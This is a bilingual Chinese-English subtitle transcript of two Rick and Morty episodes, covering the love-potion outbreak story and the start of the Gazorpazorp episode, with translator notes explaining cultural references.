about banging my daughter in high school.感情方面的事儿你最好别听他的 Morty
I'm not sure you want to take romantic advice from this guy, Morty.他的婚姻已经悬于一线了
His marriage is hanging from a thread.我的婚姻好的很 谢谢你啊
My marriage is fine, thank you.Jerry 这儿是你家
Jerry, it's your house你说是什么就是什么吧
whatever you say it is is how it is但我觉得瞎子都能看出来
but I think a blind man could see thatBeth想结束这段婚姻
Beth is looking for the door.这事儿我根本不在乎 也都发现了
I barely have a reason to care, and even I noticed.Rick 别这样说我的父母啊
Come on, Rick! Don't talk about my parents like that.听着 Morty 我也不想这么直白地告诉你
Listen, Morty, I hate to break it to you,但所谓的爱情
but what people call "Love"不过是让动物繁衍后代的化学反应罢了
Is just a chemical reaction that compels animals to breed.开始时让人头昏脑热 然后就慢慢消退
It hits hard, Morty, then it slowly fades,只留给你一段失败的婚姻
leaving you stranded in a failing marriage.我是这样
I did it.你父母也会是这样
Your parents are gonna do it.别重蹈覆辙 Morty
Break the cycle, Morty.升华自我 专注科学
Rise above. Focus on science.好吧 我去换舞会的衣服了
All right, well, I'm gonna go get dressed for the dance.我去 看看你妈妈
Yeah, I'm just going to... check on your mom.Morty 把螺丝刀递给我
Morty, hand me that screwdriver, huh?我的离子除颤器就要完成了
I'm almost finished making my ionic defibulizer, Morty.会很棒的
It's gonna be great.那个 Rick
Hey, listen, Rick.你之前不是说
Y-y-you know how you said that,爱情是一种化学反应什么的嘛
you know, love is a chemical and all that stuff from earlier?我在想
Well, I was thinking, you know,你能不能让Jessica的脑子里
w-w could you make some sort of chemical thing起点什么化学反应
happen inside of Jessica's mind, you know,让她爱上我什么的
so where she falls in love with me and all that sort of thing?比如什么爱情药水之类的东西
You know, like, maybe make some sort of love potion or something?完全是浪费我的时间
Morty, that's such a poor use of my time.我不屑做这种事
It's beneath me.把螺丝刀递给我
Hand me the screwdriver.不 Rick
you know what? No, Rick!别想我把螺丝刀递给你
I'm not gonna hand you the screwdriver.别想我再给你递任何东西
I-I'm not gonna hand you anything ever again, Rick!我老是帮你做这个帮你做那个
I'm always helping you with this and that and the other thing.那那那那我呢 Rick
W-w-w-w-w-what about me, Rick?你怎怎怎么就不能帮我一次呢 就一次
W-w-w-w-why can't you just help me out once once, for once?你还真是长大了啊 Morty
You're growing up fast, Morty.已经长成一个烦人的大麻烦了
You're growing into a real big thorn straight up into my ass.这个叫后叶催产素
listen, this is called oxytocin.我从田鼠的身体里提取的
I extracted it from a vole.知道田鼠吗 Morty
Do you know what a vole is, Morty?知道不
You know what a vole is?一种会结为终生伴侣的啮齿动物
It's a it's a rodent that mates for life, Morty.这是在哺乳动物大脑里分泌的一种激素
This is the chemical released in a mammal's brain, you know,让它坠入爱河
that makes it fall in love.Morty 我只需要把它和你的DNA混合起来
All right, Morty, I just got to combine it with some of your DNA.噢 好的
oh, well, okay.一根头发就行 Morty
a hair, Morty.就要一根头发
I need one of your hairs.又不是《权利的游戏》(大尺度剧集)
This isn't "Game of thrones."好了 Morty
all right, Morty.只要你把这个抹在别人身上
Whoever you smear this stuff on这人就会爱上你 永远只爱你一个
will fall in love with you, and only you, forever.开心了 Morty
Are you happy now, Morty?恩
heck, yeah!谢谢 Rick外公
Thank you, grandpa Rick.没有什么危险或者副作用吧
Hey, there's no... dangers or anything, or side effects, right?你当我是什么二流科学家吗
w-w-w-what am I, a hack?放心吧 Morty 绝对安全
Go nuts, Morty. It's foolproof.除非她得了流感
Eh, unless she has the flu.Beth 你还爱我吗
Beth, do y-you still love me?这算是什么问题
ugh, what kind of question is that?"爱"或者"不爱"的问题
the "Yes or no" kind?Jerry 你会想让流浪汉有房子住吗
Jerry, do you want homeless people to have homes?想啊
yes.那你会给他们修房子吗
Are you gonna build them?不会
no.那一个肯定的回答又有什么意义呢
Then what good was the "Yes"?等等 "爱我" 是房子还是流浪汉
wait, I-is loving me the house or the homeless people?"爱你"是辛苦的劳动
loving you is work, Jerry.是给流浪汉修收容所的过程
Hard work, like building a homeless shelter没有人"想"说不
nobody wants to say no to doing it但总有人要付出努力
but some people put the work in.所以你说呢
So, what do you say?你觉得我有在努力吗
Do you see me working here?我觉得这对话无聊吗
Does this conversation seem tedious to me?算是吧
Sort of.那明显我也算是爱你的
Then I obviously sort of love you, don't I?所以别问了 说不定我会更爱你一点
So stop asking, and maybe I'll love you more.靠 我得去趟马医院
Crap, they need me at the horse hospital.都这个点了
Puh! This late?赛马场搞了场夜间德比赛
The racetrack had a starlight derby.有七匹马撞上了
There was a seven-horse collision,Davin一个人在那儿
and Davin's there alone.Davin
Davin.流感 唷
Flu, yo小心哦
you got to be aware流感哟
aware of all the flu空气里的流感
up in the air给我一针
I'm-a get me a shot让流感滚
**and make the flu go away **反流感饶舌歌手
flu-hating rapper把流感唱走
just rapping away唷 唷 反流感饶舌歌手
yo, yo, flu-hating rapper反流感说唱
it's a flu-hating rap嗨 Jessica
hey, there, Jessica.哦 抱歉
Whoa! Oh, whoopsie!天啊 Morty
Oh, my god. Morty.你今晚真帅啊
You look really nice tonight.谢谢
Wow, thanks.我爱你 Morty
I love you, Morty!我爱你爱到心如火烧
I love you so much, it burns!天啊
Oh, man!我也爱你 Jessica
I-I love you too, Jessica!这傻逼在骚扰你吗 Jessica
Is this punk bothering you, Jessica?滚开 混球
Leave him alone, Jerk!我爱他
I'm in love with him!你永远不可能像他这么男人
He is more man than you will ever be!要小心流感
This is about flu awareness小心空气中的流感
got to be aware of the flu in the air-ness我乃反流感饶舌歌手
yo, I'm a flu-hating rapper啊 Morty
oh, man, Morty.真对不起
I'm really sorry.没事的 Brad
oh, well, n-no problem, Brad.你很特别 Morty 非常特别
There's something special about you, Morty, so special.哇 你干嘛
Whoa, take it easy!别碰他
Get your hands off of him!滚开 我要和我男人在一起
Back off! I'm trying to be with my man!够了 Bradley
That's enough, Bradley!别把你拿来赶走傻屌(投球)的手弄伤了
We don't want you injuring your ball-throwing arm.阴道校长
Oh principal Vagina.永远别离开我 Morty
Never leave me, Morty.永远
Never!好啊
Hh, sure.我当然不会离开你
I mean, o-of course not.你觉得刚才那是怎么回事
W-what do you think that was all about?管他呢 快抱住我
Who cares? Just hold me.放开我 我爱你 Morty
Let me go! I love you, Morty!放开我
let go of me!Morty
Morty!她一晚上都要和那人待一起
she's gonna be alone with that guy all night.在马身体里捣来捣去
yeah, dad, digging around the insides of horses.不是什么浪漫的场景啊
It's not a very romantic setting.Summer 说不好啊
well, Summer, there's always the possibility搞不好加班这个事儿就是她编的呢
that she made the whole work thing up.说不定现在Davin正在她身体里捣来捣去呢
Maybe Davin's digging around in her insides.外公 这太恶心了
Grandpa, so gross!你说的是我妈妈
You're talking about my mom.她是我女儿
Well, she's my daughter, Summer.我辈分比你高
I outrank you.亲属关系根本没有意义 所以别跟我来这套
Or family means nothing, in which case, don't play that card.她不回我短信
she's not responding to my texts!小心啊 爸
Careful, dad.嫉妒会让女人失去兴致的
Jealousy turns women off.那不是正好吗
Well, isn't that convenient?被她们劈腿的男人的嫉妒是没用的
Not for the men they cheat on, no.好吧 我要出去 买点冰激凌
okay, I'm... going to go out... for some ice cream.可能顺路去趟医院 看看我的老婆
And maybe stop by the hospital... to support my wife...不带一点怀疑
with my confidence.天啊 外公 你真是个混蛋
God, grandpa, you're such a dick.抱歉 Summer
I'm sorry, Summer.你怎么想我一点都不在乎
Your opinion means very little to me.你怎么没去那个
How come you're not at this人人爱的傻舞会呢
stupid dance everyone loves so much?我才不去 我不要被传染
Screw that. I don't want to get sick.现在是流感季节
It's flu season.是吗
It is?是啊
yeah.啊噢
uh-oh.千万别出什么岔子啊
Please just let this work out.来吧 Morty 来吧
Do it, Morty. Do it.把我的衣服撕开 和我结为终生伴侣吧
Rip my clothes off and mate with me for life!咱能去个隐蔽点的地方吗
Can we maybe go somewhere more private?Jessica 控制一下自己
Jessica, get a hold of yourself!你不配得到Morty的基因
you don't deserve to carry morty's genes.我爱Morty
I love Morty但愿他也爱我
and I hope Morty loves me我想抱着他
I'd like to wrap my arms around him让他进入我的身体
and feel him inside me我靠
oh, crap.Morty
Morty!Morty 快来
Morty, come on!我们快走
We got to get you out of here.通常来说这种事是不会发生的
You're not gonna believe this because it usually never happens但我确实犯了个错
but I made a mistake.快跑 Morty
Come on, Morty.咱们赶紧出去
We got to get out of here. Come on.Morty
Morty!你没事吧
Are you okay?我没事
I'm fine!太好了
Oh, good.要是你出了什么事 我也活不下去了
If anything ever happened to you, I would kill myself.我爱死你了 莫莫
I love you bad, mo-mo!Morty 校长和我商量过了
Morty, the principal and I have discussed it,我们都对自己没什么把握
a-a-and we're both insecure enough所以只好同意3p了
to agree to a three-way!我把血清给你的时候
I didn't realize when I gave you that serum不知道Jessica得了流感
that Jessica had the flu这这这这对我来说可能是
you know, t-t-t-t-t-t-t-that might have非常有用的信息好吗 Morty
been valuable information for me, Morty.这到底是怎么回事 Rick
What the hell is going on, Rick?看着像是怎么回事
What does it look like?血清借助病毒
T-t-t-the serum is piggybacking on the virus.变得能通过空气传播了
It's gone airborne, Morty.妈啦 怎么办啊 Rick
oh, crap. What are we gonna do, Rick?没事的 Morty 放心
It's gonna be fine, Morty, relax.我赶制了解药
I whipped up an antidote.我用了螳螂的DNA
It's based on praying-mantis DNA.螳螂完全和田鼠相反
You know, praying mantises are the exact opposite of voles, Morty.它们只交配一次
I mean, they they mate once,然后就把交配对象的头砍掉
and then they, you know, decapitate the partner.它们的习性就是这样
I mean, it's a whole ritual.非常残忍 和田鼠完全相反
It's really gruesome and totally opposite.完全没有爱可言
There's no love at all.我加入了一种更具传染性的流感病毒
I-I-I basically mixed this with a more contagious flu virus.应该就能中和掉之前的血清了
It should neutralize the whole thing, Morty.这事儿很快就能结束了
It'll all be over very shortly.对了 Morty
Uh, by the way, Morty,虽然你没问
I know you didn't ask or anything,但我一点都不想和你发生性关系
but I'm not interested in having sex with you.这血清对和你有血缘的人是没用的
These serums, they don't work on anybody related to you genetically.好吧 有时候
Okay, well, sometimes,用科学怎么能理解科学这门艺术
Science is more art than science, Morty.很多人就是不明白
A lot of people don't get that.靠 开什么玩笑
Come on. Are you kidding me?有人吗
Hello!Morty
Morty!你不是Morty
You're not Morty!我们要Morty
Bring us Morty!在我成功捉奸以前 谁也别想干掉我
Nobody's killing me until after I catch my wife with another man.我和Billy上床了
I had sex with Billy.但你当时已经怀孕了啊
But you were already pregnant!再差又能怎么样呢
Yeah, so what's the worst that could happen?抱歉打断《孕妇俏佳人》 插播一则新闻
We interrupt "Pregnant baby" with breaking news.别啊
Come on.最新消息 Morty Smith仍然去向不明
This just in, Morty Smith's whereabouts are still unknown.什么啊这是
What the hell?目前唯一已知的就是 他有多么可爱
The only thing that is known is... how cute he is.我爱他 我想和他做爱
I love him so much, I want to make love to him然后吃掉他的脑袋
and then eat his head.我比你更爱他 Harold
I love him more than you do, Harold!想得美 贱人
You wish, you stupid bitch!Morty是我的
Morty's mine!Morty是我的
Morty's mine!Morty在哪儿
Where is Morty?天啊 Rick
Oh, my god, Rick.全世界都被感染了
The whole world is infected!是啊 传播得这么快真是惊人
Yeah, it's pretty wild how fast that spread.我真是超水平发挥
I've really outdone myself.超水平发挥
Outdone yourself?!别开玩笑了 Rick
W-w a-are are you kidding me, Rick?这太糟了
This is not okay!他们不光是都想要和我做爱
Not only do they all want to have sex with me,现在事后还要把我吃掉
but, you know, now they want to eat me afterwards!我也不知道我当时在想什么
Yeah, I don't know what i was thinking.螳螂和田鼠完全相反
Mantises are they opposite of voles?显然DNA没这么简单
I mean, Obviously, DNA's a little more complicated than that.不过呢 Morty
You know what, though, Morty?有了这个 问题马上就能解决了
This right here's gonna do the the trick, baby.树袋熊混合上 响尾蛇 黑猩猩 仙人掌
It's koala mixed with rattlesnake, chimpanzee, cactus,鲨鱼 金毛犬 加上一点点恐龙
shark, golden retriever, and just a smidge of dinosaur.应该能把他们变回正常人类了
Should add up to normal humanity.这根本没道理 Rick
I don't, that doesn't make any sense, Rick.这怎么就能变回正常人类了
How does that add up to normal humanity?怎么 Morty 你难道还想看我的运算过程吗
What, Morty, you want me to show you my math?你是科学家
I'm sorry a-are you the scientist还是想搞妹子的小孩
or are you the kid that wanted to get laid?救了那些马真是太好了
Well, I'm glad we saved all those horses,但就这么结束了 让我觉得有些遗憾
but I'm almost sorry we're finished.是的 这样的工作很让人有满足感
Yes, it's satisfying work.不不不 不仅仅是工作
Unh-unh-unh, it's, uh it's more than the work.我喜欢在那间无菌室里
I love being in that sterilized room,与世隔绝
sealed off from the world.只有在那里我才能真正思考和感受
It's the only time I can really think... and feel.你在干嘛
Hmm, uh, what are you doing?我在放非洲梦幻流行乐
I'm playing African Dream Pop.这首African Dream Pop是一首确实存在的remix作品 在Youtube上可以找到 其中许多素材来自Rick and Morty
辛苦工作一晚之后你会做什么呢
What do youdo after a long night?啊 呃 我得走了
Oh, ha, um, hey, I-b-I'd better get going.Jerry一直在给我发一些很不好应付的短信
Um, Jerry's been texting some pretty high-maintenance stuff.Beth
Beth...干嘛 Davin
What is it, Davin?就这一次 我想知道
Just once, I'd like to know给你的儿子洗澡是什么感觉
...w-w-what it was like to give your son a bath.啥
what?!Morty闻起来是什么味道
What does Morty's skin smell like?他的小弟弟有多么柔软
How soft... how soft are his privates?放开我 Davin
let go of me, Davin!带我去找Morty
Take me to Morty.你不是Morty
You're not Morty.没错
No.我是撬棍先生 这是我的朋友
I'm Mr. Crowbar, and this is my friend,也是一根撬棍
who is also a crowbar.这好蠢啊
That's... stupid.是吗
Yeah?看看聪明的下场吧
Well, look where being smart got you.Jerry 感谢上帝
Jerry! Thank god!上帝
God?上帝把人变成了昆虫怪 Beth
God's turning people into insect monsters, Beth.把它们打死的人是我
I'm the one beating them to death.感谢我吧
Thank me.谢谢你 Jerry
Thank you, Jerry.谢谢
Thank you.往下看 Morty 欣赏一会儿
Take a good look down there, Morty, and soak it in,只要我拉动这个开关 一切就恢复原状了
because, you know, once I pull this lever, it's all back to normal.快动手吧
Just do it already.Morty 没什么好急的
Well, technically, Morty, there's no rush.只要恢复了 一切就结束了
I mean, you know, o-once it's fixed, it's done.这事儿就解决了
It's fixed.我们可以稍微欣赏一会儿嘛
You know, we could we could just enjoy it for a little bit.看看这场面 多疯狂
I mean, l-l-l-look at how crazy it is.Morty 下一次
I mean, Morty, w-w-when's the next time你想看到这样的东西得等到什么时候了
you're gonna see something like this?好好享受一会儿
I mean, soak it in, you know?多棒阿
It's it's pretty neat.多有趣啊
It's pretty interesting.够了 Rick 我要拉开关了
That's it, Rick! I'm pulling the lever.结果怎么样啊 Morty
W-what do we have here, Morty?看来是我是对的 你错了
Looks like I was right and you were wrong, huh?你现在肯定觉得自己很蠢吧
I-I-I-I-I-I-I bet you feel pretty stupid right about now, huh?你现在肯定惭愧得不行吧
I-I-I bet you feel like the world's smallest man之前还怀疑我 Morty
that you were doubting me about this whole thing, Morty.不 Rick 有什么不对
Oh, Rick, something's not right.不就是你吗
Yeah, you.你从来就没对过 - 不 不是
You're not right, ever. - No, no!
快看 你这个白痴
Look, you idiot!高兴了吧 Morty
Bet you're loving this, Morty.今天肯定是你人生中最美好的一天
This must be the best day of your life.跟你说了让你别着急
You get to be the mayor of I-told-you town.不用谢
You're welcome.抓稳了
Hold on.真希望这把猎枪是我的大屌
I wish that shotgun was my penis.叫我海明威(用猎枪自杀)
If it were, you could call me Ernest Hemingway.我没听懂 我也不用听懂
I don't get it, and I don't need to.妈 爸
Mom! Dad!Summer
Summer!Morty在哪儿
Where's Morty?我不知道
I don't know.你觉得Rick外公和这有关吗
Do you think Grandpa Rick had something to do with this?这么想不太公平吧 Summer
It's not fair to assume that, Summer.不公平
Oh, not fair?算了吧
Give me a break.他就是个自私 不负责任的混蛋 他还离开了我母亲
He is a selfish, irresponsible ass, and he left my mother.真男人会守在他的女人身边
A real man stands by his woman.Morty 我把世界搞得好像柯南伯格的电影一样
Boy, Morty, I really cronenberged the world up, didn't I?大卫 柯南伯格 加拿大籍导演 擅拍惊悚电影 其不少作品涉及人体变异 如《狂犬病》 《变蝇人》
整个地球上都是柯南伯格式的生物
We got a whole planet of cronenbergs walking around down there, Morty.不过至少他们不再疯狂地爱你了
A-at least they're not in love with you anymore, though.这算是一大进步了
That's a huge step in the right direction.天 这简直就是活生生的噩梦
Oh, my god! It's a living nightmare!你怎么能这么不负责任呢 Rick
How could you be so irresponsible, Rick?我不负责任
me irresponsible?!我只是想让你给我递一把螺丝刀而已
You, all I wanted you to do was hand me a screwdriver, Morty!是你想让我抛开别的
You're the one who wanted to be wanted me to buckle down给你弄什么迷奸血清
and make you up a... roofie-juice serum好让你去迷奸你那可怜的同学
so you could roofie that poor girl at your school.你开什么玩笑 Morty
I mean, g w-w-w-w-w w are you kidding me, Morty?你还想抢占道德制高点
You're gonna try to take the high road on this one?你就是个小变态 Morty
Y-y-y-y-you're a little creep, Morty.你你你你你就是个猥琐的小变态
Y-you're a you're you're you're just a little creepy... creep person.好吧
All right, fine.你之前拒绝帮我做血清的时候 我就该听你的
I should have just listened to you when you refused to make the serum.我愿意承担我这部分的责任 Rick
I'm willing to accept my part of the blame for this, Rick.但是我告诉你
But I'll tell you something you know what?你也得承认你的那部分责任
You got to accept your part of the blame!又不是我搞砸了血清的事
I'm not the one who fouled up the serum!又不是我
I'm not the one who who who who把一堆乱七八糟的鬼东西混在一起
haphazardly, you know, mixed a bunch of nonsense弄出了一堆柯南伯格怪
together and created a bunch of cronenbergs!你得解决这事儿 Rick - 好吧 好吧 Morty
You got to fix this, Rick! - All right, all right, Morty.
现在这个情况已经很难挽回了
You know, w-w-w-we are in a pretty deep hole, here,不过我确实有个应急方案
but I do have one emergency solution that I can use能让一切相对而言恢复正常
that'll kind of put everything back to normal, relatively speaking.Morty 把这个带上
Here, Morty, put this on我来搜索一下
while I do a little bit of scouting.每日时报
基因传染病
已被阻止
哇 Rick 我得说
Wow, Rick, I got to say你这次真是太厉害了
you really pulled a rabbit out of your hat this time.我真以为
I mean, I-I really thought that这儿会永远一团乱下去了
the whole place was gonna be messed up for good,但你做到了
but here you did it你一如既往地想出了个疯办法
you figured out that crazy solution, like you always do.真是太走运了
That's some great luck.得了吧 Morty 跟运气没关系
Come on, Morty. Luck had nothing to do with it.靠的是我的实力
I'm great. That's the real reason.怎么说 Morty
Now, Morty, what do you say, buddy?能把螺丝刀递给我
Will you hand me a screwdriver让我完成我的离子除颤器吗
so I can finish my ionic de-defibulizer?当然 Rick
Sure thing, Rick.给你
Here's a screwdriver.好了 Morty
All right, Morty.谢谢你
Thank you very much.拧一下
We got one screw turn...拧两下
and two screw turns... and...好了 Morty 我们到了
All right, Morty, here we are.天啊 Rick 那是我们吗
Oh, my god, Rick! Is that us?!我我我我们死了
W-w-w-we're dead!怎么回事 Rick
What is going on, Rick?我要崩溃了
I'm freaking out!冷静点 Morty
Calm down, Morty!看着我 冷静 Morty
Look at me! Calm down, Morty!不行 我接受不了 - 冷静下来 Morty
No, I can't deal with this! - Calm yourself, Morty.
这种事我受不了 Rick - 冷静 Morty
I can't deal with this, Rick! - Calm down, Morty.
骗人的吧 - 冷静下来 Morty
This can't be real! - You got to calm down, Morty.
我我我我们被炸碎了
W-w-w-w-we're ripped apart!闭上嘴听我说
Shut up and listen to me!没事的
It's fine. Everything is fine.有无数个平行的现实 Morty
There's an infinite number of realities, Morty在一小部分平行世界里 我运气好
and in a few dozen of those, I got lucky让一切恢复了原状
and turned everything back to normal.我只需要找到其中某一个世界
I just had to find one of those realities我们俩刚好在这段时间里死了
in which we also happen to both die around this time.现在我们只需要悄悄取代
Now we can just slip into the place of这个世界里死掉的自己 就没问题了
our dead selves in this reality and everything will be fine.就和什么都没发生过一样 Morty
We're not skipping a beat, Morty.来帮我搬下尸体
Now, help me with these bodies.这太疯狂了
This is insane.Morty 我搬我自己
Look, Morty, I'll grab myself,你搬你自己 行吗
you grab yourself, okay?我觉得这样挺公平的
I mean, t-t-t-that seems fair to me, I mean,这样分配很合理
that seems like a fair way to divvy it up.那我们以前的世界呢
Rick, what about the reality we left behind?那Hilter找了治愈癌症方法的世界呢 Morty
What about the reality where Hitler cured cancer, Morty?最好的办法就是别去想
The answer is don't think about it.反正这种办法也不是每周都能用
It's not like we can do this every week, anyways.最多就用个三四次
We get three or four more of these, tops.把你自己的尸体搬起来
Now, pick up your dead self and come on.欲速则不达
Haste makes waste.虽然我觉得你没注意到这个细节
I-I-I don't suppose you've considered this detail,但很显然 如果我没把一切都搞砸的话
but obviously, if I hadn't screwed up as much as I did我们现在就是死人了 再说一次 不用谢
we'd be these guys right now, so, again, you're welcome.《Look On Down from the Bridge》 Mazzy Star
鲨鱼这种动物
You know, the thing about a shark...有一双毫无生气的眼睛
he's got lifeless eyes...黑黑的眼睛 像木偶的眼睛一样
black eyes, like a doll's eyes.它朝你冲过来的时候 浑然不似活物
When he comes at ya, he doesn't seem to be living直到它咬住你 接着就是血
until he bites ya, and then the the blood,鲜红的 还有水里...
and the red, and the water...你有想过Rick和Morty怎么样了吗
You ever wonder what happened to Rick and Morty?有时候吧
Sometimes.这么说好像有点对不起他们
But, I'm ashamed to admit,但他们走了以后 我终于过得幸福了
now that they're gone, I'm finally happy.我们到啦 柯南伯格Morty
Here we are, cronenberg Morty一个所有人都被柯南伯格化了的世界
a reality where everyone in the world got genetically cronenberged.我们来了正好呢 柯南伯格Morty
We'll fit right in, cronenberg Morty.就和我们从来没离开过柯南伯格世界一样
It'll be like we never even left cronenberg world.是啊 柯南伯格Rick
Yeah, cronenberg Rick,但我还是会想念柯南伯格世界的
but, you know, I'm gonna miss cronenberg world,因为大家都是柯南伯格版的
because everyone was cronenberged和我们一样 从一开始就是
all along like us from the beginning, you know?要是我们没有把
I mean, I-I wish we hadn't genetically ruined柯南伯格世界基因毁灭掉就好了
cronenberg world beyond repair like we did,把所有人都变成了正常的人类
you know, and turned everyone into regular, normal people just walking around.别担心这种事了 柯南伯格Morty
Don't you worry about that sort of thing, cronenberg Morty.咱们就在这儿舒舒服服过吧
Let's go make ourselves at home, huh?E7 Raising Gazorpazorp
- 翻译: 史努比一体机
- 校对: Kimmu
- 后期: 小萌
- 压制: 凯撒
我才不会花70丁丁买一个坏掉的反定帆器
Look, I'm not paying 70 smidgens for a broken defraculator.这是多相量子共振器
That is multiphase quantum resonator.那它能反定帆吗 - [哔]不能
Well, does it defraculate? - [Bleep]No.那不就是个坏掉的反定帆器吗
Then-then-then it's a broken defraculator.你懂个鸡巴的定帆啊
Like you would even know dick about fraculation.你们的星球只有手机 信号还这么烂
Your planet just got cellphones, and the coverage still sucks!你们的人还吃硫呢
Yeah, yeah, and your species eat sulfur.就60丁丁了
So let's say 60 smidgens.算我帮你个忙
I tell you what, I'll do you a favor我附赠你个屁(硫化氢)
I'll throw in a fart.Rick 你能不能给我
Hey, uh, Rick, um, you think maybe I could买件这里的东西啊
get something from this place就一件纪念品嘛 单纯为了收藏 比如什么酷酷的东西
like, like a souvenir, like just to have like something cool, you know?这儿就算了 Morty 我们去别的地方
Not here Morty, we'll stop somewhere else反正哪里都有当铺
because, you know, there's always another pawn shop.我就是觉得 那边那个机器人
Oh okay, I just, um, you know, that robot over there看着好酷啊
looked pretty cool, you know?看着酷是吗
Oh, it looks cool, huh?因为酷你才想买
That's why you want it?是啊 跟地球上的东西很不相同嘛
Yeah! You know, I mean it's different from the stuff on Earth,你带着我跑遍了银河系里面这么多疯狂的地方
and, you know, you take me to all these crazy places across the galaxy,我都没有什么东西
and, you know, I don't really have anything to,能纪念这些冒险啊
to remember all the trips by.这不是挺酷的吗 一个纪念品
It'd be kind of cool, like a souvenir.万一你去世了什么的怎么办
You know, like, what if you passed away or died or something?都没有什么东西
I wouldn't even have anything to能让我缅怀那些酷炫的经历呢
remember all the cool stuff we did, you know?好吧 共振器我出60
Okay. 60 for the resonator,外加我外孙想要的那个性爱机器人
and my grandson wants the sex robot.我们是要假装什么也不知道吗
So, we're just going to pretend this isn't happening?我不是说这样不好 只是问问而已
I'm not saying that a bad idea, just asking.Rick 你怎么能让Morty把那东西带回家呢
Rick, why would you let Morty bring that thing into our house.你指望我能干嘛
What do you want form me?他觉觉觉觉得那东西看着很酷
He thi-, he thou-, he thou-, he th-, he thought it looked cool.你懂我意思吗
You know what I mean.呼 啊 好了 接着 回楼上
Whew. Ahh. All right. Back to-, b-back upstair.不行 我要干预这事
Well, I'm invervening.干预青春期行为吗
Intervening with puberty?你会把他变成《红龙》里的拉尔夫费因斯的
You'll turn him into Ralph Fiennes in "Red Dragon."《红龙》是汉尼拔系列小说中的第一部 后改编为电影 拉尔夫费因斯在其中饰演童年不幸的变态连环杀手"牙仙"
他到了这个年纪了
He's just at that age.我们为他骄傲就好了
Let's just be proud of him.天啊 我把标准降到这么低了吗
Jesus. Did I really set the bar that low?呃 Rick 你能来一下吗 快点
Um, Rick, could you come with me, please, quickly?如果再听到嘎吱声 我们就干预
Ok, now if we hear squeaking, we intervene.性爱机器人呢 Morty
Where's the sex robot, Morty?那就是Gwendolyn 我是说 机器人
That is Gwendolyn. I-I mean, the robot!她发出了哔哔声 然后变形试图飞走
She started beeping and then transformed and tried to fly away!真奇怪 这一般是男人才会干的事啊
Strange. That's usually the man's job.知道我什么意思吧 Morty
You know what I'm talking about, Morty?Wubba lubba dub dub
Wubba lubba dub dub！Morty 这是我的口头禅 还记得吗
Morty, that's my catchphrase, remember?还记得我怎么拼出这个口头禅的吗
Remember how-how I cemented that catchphrase?好吧好吧 不开玩笑了
All right. All ritht, seriously, though.让我来抓住它
Let me grab this thing.够了 你这个小淘气
Come on, you... rascal.这就过分了 噢
Okay, unacceptable! Oh出什么事了
What is going on?好吧 啊噢
All right. Uh-oh.啥叫"啊噢" 那是个啥
"Uh-Oh"? What is that?!看来Morty的机器人不只是用来打发时间的
Hmm. I think Morty's robot was designed for more than long weekends.基因编译装置 孵化室
Genetic compiler, incubation chamber.没错 这是个造娃机
Yep. This, here's some kind of baby maker,这是个一半Morty一半不知道啥的东西
and that there's half Morty, half who-who knows wh-what?是我造成的
It's my bad, guys.我会处理掉的
I'll, I'll take care of it.Rick外公 - 不行 - 哇哦
Grandpa Rick! - No, no! - Whoa whoa whoa!你这是要干嘛
What do you think you're doing?!Summer从墨西哥带橄榄回来的时候
Hey, listen. You guys quarantined the house你们把房子都隔离起来了
when summer brought olives back from Mexico.这东西说不定能长到特拉华州那么大
I mean, this thing could grow to the size of Delaware.这东西指不定还会吃脑子呼出宇宙艾滋呢
I mean, it might eat brains and exhale space AIDS.我们必须得小心
We got to be careful.该小心的时候我没小心 现在已经没机会了 Rick
I lost the chance to be careful, Rick.我当爸爸了
I'm a father now!我该负起责任了
You know, it's time for me to be responsible.对不对呀
Isn't that right...别取名字
Don't name it.小Morty
...Morty Jr.?靠 取了个名字
Oh， Crap. He named it.爸 这是个小生命 而且有一半是人类
Well, dad, it's a living thing, and it's half human.而且它是出生在美国领土上的 所以
And it was born on american soil, which entitles it to...Jerry 主修公民学是你自己的错
Jerry, majoring in civics was your mistake.别用它来惩罚我们好吗
Don't punish us for it.好吧 我把这东西带回我的工作间去
Fine. I'm gonna take this thing to my workshop做点调查
and do a little bit of investigating.别让这东西离开你们的视线
Do not let that thing out of your sight.现在看着人畜无害 但以后可能会变得很危险
It looks harmless now, but it could grow into something dangerous.就像疯狂小丑波塞一样
Like the Insane Clown Posse.Insane Clown Posse 美国嘻哈组合
呵呵 这笑话真不错 Jerry
Yeah. Good one, Jerry.此处指的可能是2003年Blink 182的单曲Easy Target
2003年打电话来把Easy Target要回去
2003 just called and wants its Easy Target back.他就像是个小版的我
Ohh. He's like a little me!你们不会真认为他会变成一个怪物的 对吧
Y-you don't think he'll turn into a monster... do you?孩子都会变成怪物的
They always do.嘿 1995年打电话来了
Hey, uh, 1995 called!他们想把"某年打电话来把某东西要回去的句式要回去"
They want their "cartain year called wanting its 'blank' back" formula back!何必呢 Jerry 何必要费力做这种事
Why, Jerry? why expend the effort?活着就要费力 生命不息 奋斗不止
Life is effort. I'll stop when I die!出去
Out.你干嘛呢
Whatcha doin'?我没法用我的办法解决这事
Well, I can't solve the problem my way,多亏了你家里人原始的生物学考虑
thanks to your family's primitive biological hang-ups.恶 我好像碰到了一点Morty的精液
Gross. I might have just touched one of Morty's loads.但说不能我可以给小Morty找到合适的父母
But maybe I can find suitable parents for Morty Jr.在这个机器人的故乡 也就是
on this robot's home world, which is...仙女座星系的格索尔帕索普星
Gazorpazorp in the Andromeda system.闪开 Summer
Scoot, Summer.你不需要新的小伙伴吗
Don't you need a new companion既然现在Morty需要顾家了
now that Morty's in the family way?我不和小女生出去冒险 Summer
I don't do adventures with chicks, Summer.哦是吗 两腿中间有根东西
Oh, right. Because there's something about having a wiener穿个传送门都要强些吗
that would make me better at walking through a hole?啊啊啊啊
Aaaaaaaaaaaaaaah!该死
Oh, crap.Rick外公
Grandpa Rick! Ugh!救命 救命 啊
Help! Help! Aah! Aah!啊
Aaaaaaaaaaaaah!Rick外公
Grandpa Rick!还觉得两腿中间没根东西就穿过传送门是个好主意吗
Still think it's a good idea to go through holes without a wiener?我想回家
I want to go home.哦 你现在当然想了
Yeah, no duh.好极了 我现在得拿下整个星球
Great. Now I have to take over a whole planet就因为你胸前那玩意儿
because of your stupid boobs.干得很好啊 Morty
You're doing great, Morty是吗 我也没在干什么呀
Really? You think? I mean, I'm not doing much of anything.他要是哭我怎么办啊
What do I do if it cries?那就把他放在边上让他哭个够啊
Then you put it down and let if cry itself out.这招我们在Summer身上试过
Yeah, right. We tried that technique on Summer,然后她就开始脱衣了
and she's gonna end up stripping.她是不是这样的啊 没错
Isn't she? Yes, she is.为了吸引我们的注意 她会脱衣服
She's gonna strip for attention.因为我们不许她这样做
Because she was denied it.别用你自己缺乏安全感的方式教宝宝
